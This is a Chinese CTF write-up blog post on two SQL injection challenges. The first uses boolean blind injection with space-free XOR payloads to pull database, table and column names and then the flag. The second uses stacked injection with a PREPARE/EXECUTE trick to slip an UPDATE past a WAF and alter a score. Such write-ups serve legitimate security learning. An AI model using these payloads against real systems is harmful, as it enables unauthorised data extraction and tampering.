type
status
date
slug
summary
tags
category
icon
password
不想再做之前老掉牙的ctf了,感觉跟不上现在的,尝试一下近几年的ctf的题目
📝 SQL注入


进行一番常规的手工测试,发现关键空格被过滤了,怀疑是报错注入或者盲注
接着进行测试,发现为布尔盲注
为1时回显“好耶”
为0时回显不存在

以下是参考博主的盲注代码:
先是提前判断出数据库名,表名、字段名,最后判断里面的flag字符串
先判断数据库:
payload = f"1^(ascii(substr((select(database())),{i},1))>{l})
payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{l})”接着判断表名:

判断字段名
#payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{l})”wfy_admin存在id、username、password、cookie字段
查了里面发现很多都是乱码
再查询一个wfy_commnets表:

payload = f"1^(ascii(substr((select(group_concat(user))from(wfy_comments)),{i},1))>{l})”
user表里有一个
f1ag_is_here字段,看看里面是不是真的flag注意这的
f1ag是1不是l查看字段值:
payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{l})”
flag{We_0nly_have_2wo_ehoices}[NewStarCTF 公开赛赛道]multiSQL
这题提示我们使用
堆叠注入,update更改
堆叠注入是指在一次 SQL 请求中,使用分号
; 将多个 SQL 语句连接在一起执行。题目提示火华,查了下人家的成绩(🧐)

提示我们不要干坏事呜呜呜呜呜呜呜呜

payload:
1' or 1=1;show databases;#
应该就是这个english了
本来想用select查询的,但是被waf阻拦了,换种获取方式:

为什么用这种方式了,中间我用了很多种尝试,都没成功(或者当时我以为没成功),因为成功了也是这张图,我以为会给什么提示的。我还不小心把这个user字段给删了,做到后面查询的时候才发现😂。
最后我发现题目给了update更改,所以我猜测应该是要用变量代替
payload:
1'; SET @a='UPD'; SET @b='ATE ';SET @sql=CONCAT(@a,@b,'english.score SET listen=999 WHERE username=''火华''');PREPARE stmt FROM @sql; EXECUTE stmt;--
再次查询火华成绩:

接着点击查询成绩就行了

- 作者:zhiles小屋
- 链接:https://tangly1024.com/article/22322e55-9ee8-803f-b6ab-e96bb6c290cb
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
